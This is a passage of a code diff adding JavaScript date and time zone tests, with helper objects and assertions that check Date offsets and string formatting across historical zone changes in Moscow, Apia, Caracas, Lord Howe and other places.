+}
+
+const DayOfWeek = {
+ Sunday: 0,
+ Monday: 1,
+ Tuesday: 2,
+ Wednesday: 3,
+ Thursday: 4,
+ Friday: 5,
+ Saturday: 6,
+};
+
+const Month = {
+ January: 0,
+ February: 1,
+ March: 2,
+ April: 3,
+ May: 4,
+ June: 5,
+ July: 6,
+ August: 7,
+ September: 8,
+ October: 9,
+ November: 10,
+ December: 11,
+};
+
+const DateTime = {
+ Local: class {
+ constructor(year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0) {
+ Object.assign(this, {year, month, day, weekday, hour, minute, second, ms});
+ }
+
+ toDate() {
+ return new Date(this.year, this.month, this.day, this.hour, this.minute, this.second, this.ms);
+ }
+ },
+ UTC: class {
+ constructor(year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0) {
+ Object.assign(this, {year, month, day, weekday, hour, minute, second, ms});
+ }
+
+ toInstant() {
+ return MakeDate(MakeDay(this.year, this.month, this.day), MakeTime(this.hour, this.minute, this.second, this.ms));
+ }
+ },
+};
+
+function TimeZone(hour, minute = 0, second = 0) {
+ return new class TimeZone {
+ constructor(hour, minute, second) {
+ Object.assign(this, {hour, minute, second});
+ }
+
+ toOffset() {
+ let offset = TimeZoneOffset(this.hour, this.minute, this.second);
+ return offset !== 0 ? -offset : 0;
+ }
+ }(hour, minute, second);
+
+ function TimeZoneOffset(hour, minute = 0, second = 0) {
+ assertTrue(typeof hour === "number");
+ assertTrue(typeof minute === "number");
+ assertTrue(typeof second === "number");
+ assertTrue(minute >= 0);
+ assertTrue(second >= 0);
+ if (hour < 0 || Object.is(-0, hour)) {
+ return hour * MinutesPerHour - minute - (second / 60);
+ }
+ return hour * MinutesPerHour + minute + (second / 60);
+ }
+}
+
+const Format = {
+ Locale: "en-US",
+ DateTime: {
+ localeMatcher: "lookup",
+ timeZone: void 0,
+ weekday: "short",
+ era: void 0,
+ year: "numeric",
+ month: "2-digit",
+ day: "2-digit",
+ hour: "2-digit",
+ minute: "2-digit",
+ second: "2-digit",
+ timeZoneName: "short",
+ formatMatcher: "best fit",
+ hour12: void 0,
+ },
+ Date: {
+ localeMatcher: "lookup",
+ timeZone: void 0,
+ weekday: "short",
+ era: void 0,
+ year: "numeric",
+ month: "2-digit",
+ day: "2-digit",
+ hour: void 0,
+ minute: void 0,
+ second: void 0,
+ timeZoneName: void 0,
+ formatMatcher: "best fit",
+ hour12: void 0,
+ },
+ Time: {
+ localeMatcher: "lookup",
+ timeZone: void 0,
+ weekday: void 0,
+ era: void 0,
+ year: void 0,
+ month: void 0,
+ day: void 0,
+ hour: "2-digit",
+ minute: "2-digit",
+ second: "2-digit",
+ timeZoneName: "short",
+ formatMatcher: "best fit",
+ hour12: void 0,
+ },
+};
+
+return {
+ DayOfWeek,
+ Month,
+ DateTime,
+ TimeZone,
+ Format,
+};
+})();
+
+
+// File: lib/assert-datetime.js
+
+function assertDate(local, utc, timeZone, options, formatArgs) {
+ let d = local.toDate();
+ assertDateValue(d, utc.toInstant(), timeZone.toOffset());
+ assertLocalDate(d, local);
+ assertUTCDate(d, utc);
+ assertDateString(d, options, formatArgs);
+}
+
+function assertDateValue(actual, dateValue, timeZoneOffset) {
+ assertSame(dateValue, actual.valueOf(), `valueOf()[${dateValue - actual.valueOf()}]`);
+ assertSame(dateValue, actual.getTime(), `valueOf()[${dateValue - actual.getTime()}]`);
+ assertSame(timeZoneOffset, actual.getTimezoneOffset(), "getTimezoneOffset()");
+}
+
+function assertLocalDate(actual, {year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0}) {
+ assertSame(year, actual.getFullYear(), "getFullYear()");
+ assertSame(month, actual.getMonth(), "getMonth()");
+ assertSame(day, actual.getDate(), "getDate()");
+ assertSame(weekday, actual.getDay(), "getDay()");
+ assertSame(hour, actual.getHours(), "getHours()");
+ assertSame(minute, actual.getMinutes(), "getMinutes()");
+ assertSame(second, actual.getSeconds(), "getSeconds()");
+ assertSame(ms, actual.getMilliseconds(), "getMilliseconds()");
+}
+
+function assertUTCDate(actual, {year, month, day, weekday, hour = 0, minute = 0, second = 0, ms = 0}) {
+ assertSame(year, actual.getUTCFullYear(), "getUTCFullYear()");
+ assertSame(month, actual.getUTCMonth(), "getUTCMonth()");
+ assertSame(day, actual.getUTCDate(), "getUTCDate()");
+ assertSame(weekday, actual.getUTCDay(), "getUTCDay()");
+ assertSame(hour, actual.getUTCHours(), "getUTCHours()");
+ assertSame(minute, actual.getUTCMinutes(), "getUTCMinutes()");
+ assertSame(second, actual.getUTCSeconds(), "getUTCSeconds()");
+ assertSame(ms, actual.getUTCMilliseconds(), "getUTCMilliseconds()");
+}
+
+function assertDateString(actual, options, formatArgs = {
+ LocaleString: [Format.Locale, Format.DateTime],
+ LocaleDateString: [Format.Locale, Format.Date],
+ LocaleTimeString: [Format.Locale, Format.Time],
+}) {
+ for (var key of Object.keys(options)) {
+ var args = formatArgs[key] || [];
+ assertSame(options[key], actual[`to${key}`](...args), `to${key}()`);
+ }
+}
+
+
+// File: Date/Africa_Monrovia.js
+// Liberia was the last country to switch to UTC based offsets (1972 May).
+
+inTimeZone("Africa/Monrovia", () => {
+{
+ let local = new DateTime.Local(1972, Month.January, 6, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 6, DayOfWeek.Thursday, 0, 44, 30);
+
+ assertDate(local, utc, TimeZone(-0,44,30), {
+ String: "Thu Jan 06 1972 00:00:00 GMT-0044 (Greenwich Mean Time)",
+ UTCString: "Thu, 06 Jan 1972 00:44:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 6, DayOfWeek.Thursday, 23, 59, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 43, 30);
+
+ assertDate(local, utc, TimeZone(-0,44,30), {
+ String: "Thu Jan 06 1972 23:59:00 GMT-0044 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:43:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 7, DayOfWeek.Friday, 0, 0, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 44, 30);
+
+ assertDateValue(local.toDate(), utc.toInstant(), TimeZone(+0).toOffset());
+
+ assertDateString(local.toDate(), {
+ String: "Fri Jan 07 1972 00:44:30 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:44:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 7, DayOfWeek.Friday, 0, 44, 30);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 44, 30);
+
+ assertDate(local, utc, TimeZone(+0), {
+ String: "Fri Jan 07 1972 00:44:30 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:44:30 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 7, DayOfWeek.Friday, 0, 45, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 7, DayOfWeek.Friday, 0, 45, 0);
+
+ assertDate(local, utc, TimeZone(+0), {
+ String: "Fri Jan 07 1972 00:45:00 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Fri, 07 Jan 1972 00:45:00 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1972, Month.January, 8, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(1972, Month.January, 8, DayOfWeek.Saturday, 0, 0, 0);
+
+ assertDate(local, utc, TimeZone(+0), {
+ String: "Sat Jan 08 1972 00:00:00 GMT+0000 (Greenwich Mean Time)",
+ UTCString: "Sat, 08 Jan 1972 00:00:00 GMT",
+ });
+}
+});
+
+
+// File: Date/Africa_Monrovia.js
+// Africa/Tripoli switched from +02:00 to +01:00 and back.
+
+inTimeZone("Africa/Tripoli", () => {
+{
+ // +02:00 (standard time)
+ let local = new DateTime.Local(2012, Month.November, 1, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(2012, Month.October, 31, DayOfWeek.Wednesday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Thu Nov 01 2012 00:00:00 GMT+0200 (Eastern European Standard Time)",
+ UTCString: "Wed, 31 Oct 2012 22:00:00 GMT",
+ });
+}
+
+{
+ // +01:00 (standard time)
+ let local = new DateTime.Local(2012, Month.December, 1, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(2012, Month.November, 30, DayOfWeek.Friday, 23, 0, 0);
+
+ assertDate(local, utc, TimeZone(+1), {
+ String: "Sat Dec 01 2012 00:00:00 GMT+0100 (Eastern European Standard Time)",
+ UTCString: "Fri, 30 Nov 2012 23:00:00 GMT",
+ });
+}
+
+{
+ // +01:00 (daylight savings)
+ let local = new DateTime.Local(2013, Month.October, 1, DayOfWeek.Tuesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2013, Month.September, 30, DayOfWeek.Monday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Tue Oct 01 2013 00:00:00 GMT+0200 (Eastern European Summer Time)",
+ UTCString: "Mon, 30 Sep 2013 22:00:00 GMT",
+ });
+}
+
+{
+ // +02:00 (standard time)
+ let local = new DateTime.Local(2013, Month.November, 1, DayOfWeek.Friday, 0, 0, 0);
+ let utc = new DateTime.UTC(2013, Month.October, 31, DayOfWeek.Thursday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Fri Nov 01 2013 00:00:00 GMT+0200 (Eastern European Standard Time)",
+ UTCString: "Thu, 31 Oct 2013 22:00:00 GMT",
+ });
+}
+});
+
+
+// File: Date/America_Caracas.js
+// America/Caracas switched from -04:00 to -04:30 on 2007 Dec 9.
+
+inTimeZone("America/Caracas", () => {
+{
+ // -04:00 (standard time)
+ let local = new DateTime.Local(2007, Month.December, 5, DayOfWeek.Wednesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2007, Month.December, 5, DayOfWeek.Wednesday, 4, 0, 0);
+
+ assertDate(local, utc, TimeZone(-4), {
+ String: "Wed Dec 05 2007 00:00:00 GMT-0400 (Venezuela Time)",
+ DateString: "Wed Dec 05 2007",
+ TimeString: "00:00:00 GMT-0400 (Venezuela Time)",
+ UTCString: "Wed, 05 Dec 2007 04:00:00 GMT",
+ ISOString: "2007-12-05T04:00:00.000Z",
+ LocaleString: "Wed, 12/05/2007, 12:00:00 AM GMT-4",
+ LocaleDateString: "Wed, 12/05/2007",
+ LocaleTimeString: "12:00:00 AM GMT-4",
+ });
+}
+
+{
+ // -04:30 (standard time)
+ let local = new DateTime.Local(2007, Month.December, 12, DayOfWeek.Wednesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2007, Month.December, 12, DayOfWeek.Wednesday, 4, 30, 0);
+
+ assertDate(local, utc, TimeZone(-4, 30), {
+ String: "Wed Dec 12 2007 00:00:00 GMT-0430 (Venezuela Time)",
+ DateString: "Wed Dec 12 2007",
+ TimeString: "00:00:00 GMT-0430 (Venezuela Time)",
+ UTCString: "Wed, 12 Dec 2007 04:30:00 GMT",
+ ISOString: "2007-12-12T04:30:00.000Z",
+ LocaleString: "Wed, 12/12/2007, 12:00:00 AM GMT-4:30",
+ LocaleDateString: "Wed, 12/12/2007",
+ LocaleTimeString: "12:00:00 AM GMT-4:30",
+ });
+}
+});
+
+
+// File: Date/Australia_Lord_Howe.js
+// Australia/Lord_Howe time zone offset is +10:30 and daylight savings amount is 00:30.
+
+inTimeZone("Australia/Lord_Howe", () => {
+{
+ // +10:30 (standard time)
+ let local = new DateTime.Local(2010, Month.August, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.July, 31, DayOfWeek.Saturday, 13, 30, 0);
+
+ assertDate(local, utc, TimeZone(+10,30), {
+ String: "Sun Aug 01 2010 00:00:00 GMT+1030 (Lord Howe Standard Time)",
+ DateString: "Sun Aug 01 2010",
+ TimeString: "00:00:00 GMT+1030 (Lord Howe Standard Time)",
+ UTCString: "Sat, 31 Jul 2010 13:30:00 GMT",
+ ISOString: "2010-07-31T13:30:00.000Z",
+ LocaleString: "Sun, 08/01/2010, 12:00:00 AM GMT+10:30",
+ LocaleDateString: "Sun, 08/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+10:30",
+ });
+}
+
+{
+ // +10:30 (daylight savings)
+ let local = new DateTime.Local(2010, Month.January, 3, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.January, 2, DayOfWeek.Saturday, 13, 0, 0);
+
+ assertDate(local, utc, TimeZone(+11), {
+ String: "Sun Jan 03 2010 00:00:00 GMT+1100 (Lord Howe Daylight Time)",
+ DateString: "Sun Jan 03 2010",
+ TimeString: "00:00:00 GMT+1100 (Lord Howe Daylight Time)",
+ UTCString: "Sat, 02 Jan 2010 13:00:00 GMT",
+ ISOString: "2010-01-02T13:00:00.000Z",
+ LocaleString: "Sun, 01/03/2010, 12:00:00 AM GMT+11",
+ LocaleDateString: "Sun, 01/03/2010",
+ LocaleTimeString: "12:00:00 AM GMT+11",
+ });
+}
+});
+
+
+// File: Date/Europe_Amsterdam.js
+// Europe/Amsterdam as an example for mean time like timezones after LMT (AMT, NST).
+//
+// tzdata2022b changed Europe/Amsterdam into a link to Europe/Brussels.
+
+inTimeZone("Europe/Amsterdam", () => {
+{
+ let local = new DateTime.Local(1935, Month.January, 1, DayOfWeek.Tuesday, 0, 0, 0);
+ let utc = new DateTime.UTC(1935, Month.January, 1, DayOfWeek.Tuesday, 0, 0, 0);
+
+ assertDate(local, utc, TimeZone(+0,0,0), {
+ String: "Tue Jan 01 1935 00:00:00 GMT+0000 (Central European Standard Time)",
+ UTCString: "Tue, 01 Jan 1935 00:00:00 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1935, Month.July, 1, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1935, Month.June, 30, DayOfWeek.Sunday, 23, 0, 0);
+
+ assertDate(local, utc, TimeZone(+1,0,0), {
+ String: "Mon Jul 01 1935 00:00:00 GMT+0100 (Central European Summer Time)",
+ UTCString: "Sun, 30 Jun 1935 23:00:00 GMT",
+ });
+}
+});
+
+// Use America/St_Johns as a replacement for the Europe/Amsterdam test case.
+//
+// Zone America/St_Johns as an example for mean time like timezones after LMT (NST, NDT).
+
+inTimeZone("America/St_Johns", () => {
+{
+ let local = new DateTime.Local(1917, Month.January, 1, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1917, Month.January, 1, DayOfWeek.Monday, 3, 30, 52);
+
+ assertDate(local, utc, TimeZone(-3,30,52), {
+ String: "Mon Jan 01 1917 00:00:00 GMT-0330 (Newfoundland Standard Time)",
+ UTCString: "Mon, 01 Jan 1917 03:30:52 GMT",
+ });
+}
+
+{
+ let local = new DateTime.Local(1917, Month.July, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(1917, Month.July, 1, DayOfWeek.Sunday, 2, 30, 52);
+
+ assertDate(local, utc, TimeZone(-2,30,52), {
+ String: "Sun Jul 01 1917 00:00:00 GMT-0230 (Newfoundland Daylight Time)",
+ UTCString: "Sun, 01 Jul 1917 02:30:52 GMT",
+ });
+}
+});
+
+
+// File: Date/Europe_London.js
+
+inTimeZone("Europe/London", () => {
+{
+ // +01:00 (standard time)
+ let local = new DateTime.Local(1970, Month.January, 1, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(1969, Month.December, 31, DayOfWeek.Wednesday, 23, 0, 0);
+
+ assertDate(local, utc, TimeZone(+1), {
+ String: "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)",
+ DateString: "Thu Jan 01 1970",
+ TimeString: "00:00:00 GMT+0100 (Greenwich Mean Time)",
+ UTCString: "Wed, 31 Dec 1969 23:00:00 GMT",
+ ISOString: "1969-12-31T23:00:00.000Z",
+ LocaleString: "Thu, 01/01/1970, 12:00:00 AM GMT+1",
+ LocaleDateString: "Thu, 01/01/1970",
+ LocaleTimeString: "12:00:00 AM GMT+1",
+ });
+}
+});
+
+
+// File: Date/Europe_Moscow.js
+
+inTimeZone("Europe/Moscow", () => {
+{
+ let local = new DateTime.Local(1970, Month.January, 1, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(1969, Month.December, 31, DayOfWeek.Wednesday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Thu Jan 01 1970 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Thu Jan 01 1970",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Wed, 31 Dec 1969 21:00:00 GMT",
+ ISOString: "1969-12-31T21:00:00.000Z",
+ LocaleString: "Thu, 01/01/1970, 12:00:00 AM GMT+3",
+ LocaleDateString: "Thu, 01/01/1970",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+// Russia was in +02:00 starting on 1991-03-31 until 1992-01-19,
+// while still observing DST (transitions 1991-03-31 and 1991-09-29).
+
+{
+ // +03:00 (daylight savings)
+ let local = new DateTime.Local(1990, Month.September, 1, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(1990, Month.August, 31, DayOfWeek.Friday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sat Sep 01 1990 00:00:00 GMT+0400 (Moscow Summer Time)",
+ DateString: "Sat Sep 01 1990",
+ TimeString: "00:00:00 GMT+0400 (Moscow Summer Time)",
+ UTCString: "Fri, 31 Aug 1990 20:00:00 GMT",
+ ISOString: "1990-08-31T20:00:00.000Z",
+ LocaleString: "Sat, 09/01/1990, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sat, 09/01/1990",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +03:00 (standard time)
+ let local = new DateTime.Local(1991, Month.March, 25, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.March, 24, DayOfWeek.Sunday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Mon Mar 25 1991 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Mon Mar 25 1991",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Sun, 24 Mar 1991 21:00:00 GMT",
+ ISOString: "1991-03-24T21:00:00.000Z",
+ LocaleString: "Mon, 03/25/1991, 12:00:00 AM GMT+3",
+ LocaleDateString: "Mon, 03/25/1991",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+{
+ // +02:00 (daylight savings)
+ let local = new DateTime.Local(1991, Month.March, 31, DayOfWeek.Sunday, 12, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.March, 31, DayOfWeek.Sunday, 9, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Sun Mar 31 1991 12:00:00 GMT+0300 (Moscow Summer Time)",
+ DateString: "Sun Mar 31 1991",
+ TimeString: "12:00:00 GMT+0300 (Moscow Summer Time)",
+ UTCString: "Sun, 31 Mar 1991 09:00:00 GMT",
+ ISOString: "1991-03-31T09:00:00.000Z",
+ LocaleString: "Sun, 03/31/1991, 12:00:00 PM GMT+3",
+ LocaleDateString: "Sun, 03/31/1991",
+ LocaleTimeString: "12:00:00 PM GMT+3",
+ });
+}
+
+{
+ // +02:00 (daylight savings)
+ let local = new DateTime.Local(1991, Month.September, 28, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.September, 27, DayOfWeek.Friday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Sat Sep 28 1991 00:00:00 GMT+0300 (Moscow Summer Time)",
+ DateString: "Sat Sep 28 1991",
+ TimeString: "00:00:00 GMT+0300 (Moscow Summer Time)",
+ UTCString: "Fri, 27 Sep 1991 21:00:00 GMT",
+ ISOString: "1991-09-27T21:00:00.000Z",
+ LocaleString: "Sat, 09/28/1991, 12:00:00 AM GMT+3",
+ LocaleDateString: "Sat, 09/28/1991",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+{
+ // +02:00 (standard time)
+ let local = new DateTime.Local(1991, Month.September, 30, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(1991, Month.September, 29, DayOfWeek.Sunday, 22, 0, 0);
+
+ assertDate(local, utc, TimeZone(+2), {
+ String: "Mon Sep 30 1991 00:00:00 GMT+0200 (Moscow Standard Time)",
+ DateString: "Mon Sep 30 1991",
+ TimeString: "00:00:00 GMT+0200 (Moscow Standard Time)",
+ UTCString: "Sun, 29 Sep 1991 22:00:00 GMT",
+ ISOString: "1991-09-29T22:00:00.000Z",
+ LocaleString: "Mon, 09/30/1991, 12:00:00 AM GMT+2",
+ LocaleDateString: "Mon, 09/30/1991",
+ LocaleTimeString: "12:00:00 AM GMT+2",
+ });
+}
+
+// Russia stopped observing DST in Oct. 2010 (last transition on 2010-10-31),
+// and changed timezone from +03:00 to +04:00 on 2011-03-27.
+
+{
+ // +03:00 (daylight savings)
+ let local = new DateTime.Local(2010, Month.October, 30, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.October, 29, DayOfWeek.Friday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sat Oct 30 2010 00:00:00 GMT+0400 (Moscow Summer Time)",
+ DateString: "Sat Oct 30 2010",
+ TimeString: "00:00:00 GMT+0400 (Moscow Summer Time)",
+ UTCString: "Fri, 29 Oct 2010 20:00:00 GMT",
+ ISOString: "2010-10-29T20:00:00.000Z",
+ LocaleString: "Sat, 10/30/2010, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sat, 10/30/2010",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +03:00 (standard time)
+ let local = new DateTime.Local(2010, Month.November, 1, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.October, 31, DayOfWeek.Sunday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Mon Nov 01 2010 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Mon Nov 01 2010",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Sun, 31 Oct 2010 21:00:00 GMT",
+ ISOString: "2010-10-31T21:00:00.000Z",
+ LocaleString: "Mon, 11/01/2010, 12:00:00 AM GMT+3",
+ LocaleDateString: "Mon, 11/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+
+{
+ // +04:00 (standard time)
+ let local = new DateTime.Local(2011, Month.October, 30, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.October, 29, DayOfWeek.Saturday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sun Oct 30 2011 00:00:00 GMT+0400 (Moscow Standard Time)",
+ DateString: "Sun Oct 30 2011",
+ TimeString: "00:00:00 GMT+0400 (Moscow Standard Time)",
+ UTCString: "Sat, 29 Oct 2011 20:00:00 GMT",
+ ISOString: "2011-10-29T20:00:00.000Z",
+ LocaleString: "Sun, 10/30/2011, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sun, 10/30/2011",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +04:00 (standard time)
+ let local = new DateTime.Local(2011, Month.November, 1, DayOfWeek.Tuesday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.October, 31, DayOfWeek.Monday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Tue Nov 01 2011 00:00:00 GMT+0400 (Moscow Standard Time)",
+ DateString: "Tue Nov 01 2011",
+ TimeString: "00:00:00 GMT+0400 (Moscow Standard Time)",
+ UTCString: "Mon, 31 Oct 2011 20:00:00 GMT",
+ ISOString: "2011-10-31T20:00:00.000Z",
+ LocaleString: "Tue, 11/01/2011, 12:00:00 AM GMT+4",
+ LocaleDateString: "Tue, 11/01/2011",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+// Russia changed timezone from +04:00 to +03:00 on 2014-10-26.
+
+{
+ // +04:00 (standard time)
+ let local = new DateTime.Local(2014, Month.October, 26, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2014, Month.October, 25, DayOfWeek.Saturday, 20, 0, 0);
+
+ assertDate(local, utc, TimeZone(+4), {
+ String: "Sun Oct 26 2014 00:00:00 GMT+0400 (Moscow Standard Time)",
+ DateString: "Sun Oct 26 2014",
+ TimeString: "00:00:00 GMT+0400 (Moscow Standard Time)",
+ UTCString: "Sat, 25 Oct 2014 20:00:00 GMT",
+ ISOString: "2014-10-25T20:00:00.000Z",
+ LocaleString: "Sun, 10/26/2014, 12:00:00 AM GMT+4",
+ LocaleDateString: "Sun, 10/26/2014",
+ LocaleTimeString: "12:00:00 AM GMT+4",
+ });
+}
+
+{
+ // +03:00 (standard time)
+ let local = new DateTime.Local(2014, Month.October, 27, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(2014, Month.October, 26, DayOfWeek.Sunday, 21, 0, 0);
+
+ assertDate(local, utc, TimeZone(+3), {
+ String: "Mon Oct 27 2014 00:00:00 GMT+0300 (Moscow Standard Time)",
+ DateString: "Mon Oct 27 2014",
+ TimeString: "00:00:00 GMT+0300 (Moscow Standard Time)",
+ UTCString: "Sun, 26 Oct 2014 21:00:00 GMT",
+ ISOString: "2014-10-26T21:00:00.000Z",
+ LocaleString: "Mon, 10/27/2014, 12:00:00 AM GMT+3",
+ LocaleDateString: "Mon, 10/27/2014",
+ LocaleTimeString: "12:00:00 AM GMT+3",
+ });
+}
+});
+
+
+// File: Date/Pacific_Apia.js
+// Pacific/Apia switched from -11:00 to +13:00 on 2011 Dec 29 24:00.
+
+inTimeZone("Pacific/Apia", () => {
+{
+ // -11:00 (daylight savings)
+ let local = new DateTime.Local(2011, Month.December, 29, DayOfWeek.Thursday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.December, 29, DayOfWeek.Thursday, 10, 0, 0);
+
+ assertDate(local, utc, TimeZone(-10), {
+ String: "Thu Dec 29 2011 00:00:00 GMT-1000 (Apia Daylight Time)",
+ DateString: "Thu Dec 29 2011",
+ TimeString: "00:00:00 GMT-1000 (Apia Daylight Time)",
+ UTCString: "Thu, 29 Dec 2011 10:00:00 GMT",
+ ISOString: "2011-12-29T10:00:00.000Z",
+ LocaleString: "Thu, 12/29/2011, 12:00:00 AM GMT-10",
+ LocaleDateString: "Thu, 12/29/2011",
+ LocaleTimeString: "12:00:00 AM GMT-10",
+ });
+}
+
+{
+ // +13:00 (daylight savings)
+ let local = new DateTime.Local(2011, Month.December, 31, DayOfWeek.Saturday, 0, 0, 0);
+ let utc = new DateTime.UTC(2011, Month.December, 30, DayOfWeek.Friday, 10, 0, 0);
+
+ assertDate(local, utc, TimeZone(+14), {
+ String: "Sat Dec 31 2011 00:00:00 GMT+1400 (Apia Daylight Time)",
+ DateString: "Sat Dec 31 2011",
+ TimeString: "00:00:00 GMT+1400 (Apia Daylight Time)",
+ UTCString: "Fri, 30 Dec 2011 10:00:00 GMT",
+ ISOString: "2011-12-30T10:00:00.000Z",
+ LocaleString: "Sat, 12/31/2011, 12:00:00 AM GMT+14",
+ LocaleDateString: "Sat, 12/31/2011",
+ LocaleTimeString: "12:00:00 AM GMT+14",
+ });
+}
+
+{
+ // +13:00 (standard time)
+ let local = new DateTime.Local(2012, Month.April, 2, DayOfWeek.Monday, 0, 0, 0);
+ let utc = new DateTime.UTC(2012, Month.April, 1, DayOfWeek.Sunday, 11, 0, 0);
+
+ assertDate(local, utc, TimeZone(+13), {
+ String: "Mon Apr 02 2012 00:00:00 GMT+1300 (Apia Standard Time)",
+ DateString: "Mon Apr 02 2012",
+ TimeString: "00:00:00 GMT+1300 (Apia Standard Time)",
+ UTCString: "Sun, 01 Apr 2012 11:00:00 GMT",
+ ISOString: "2012-04-01T11:00:00.000Z",
+ LocaleString: "Mon, 04/02/2012, 12:00:00 AM GMT+13",
+ LocaleDateString: "Mon, 04/02/2012",
+ LocaleTimeString: "12:00:00 AM GMT+13",
+ });
+}
+});
+
+
+// File: Date/Pacific_Chatham.js
+// Pacific/Chatham time zone offset is 12:45.
+
+inTimeZone("Pacific/Chatham", () => {
+{
+ // +12:45 (standard time)
+ let local = new DateTime.Local(2010, Month.August, 1, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.July, 31, DayOfWeek.Saturday, 11, 15, 0);
+
+ assertDate(local, utc, TimeZone(+12,45), {
+ String: "Sun Aug 01 2010 00:00:00 GMT+1245 (Chatham Standard Time)",
+ DateString: "Sun Aug 01 2010",
+ TimeString: "00:00:00 GMT+1245 (Chatham Standard Time)",
+ UTCString: "Sat, 31 Jul 2010 11:15:00 GMT",
+ ISOString: "2010-07-31T11:15:00.000Z",
+ LocaleString: "Sun, 08/01/2010, 12:00:00 AM GMT+12:45",
+ LocaleDateString: "Sun, 08/01/2010",
+ LocaleTimeString: "12:00:00 AM GMT+12:45",
+ });
+}
+
+{
+ // +12:45 (daylight savings)
+ let local = new DateTime.Local(2010, Month.January, 3, DayOfWeek.Sunday, 0, 0, 0);
+ let utc = new DateTime.UTC(2010, Month.January, 2, DayOfWeek.Saturday, 10, 15, 0);
+
+ assertDate(local, utc, TimeZone(+13,45), {
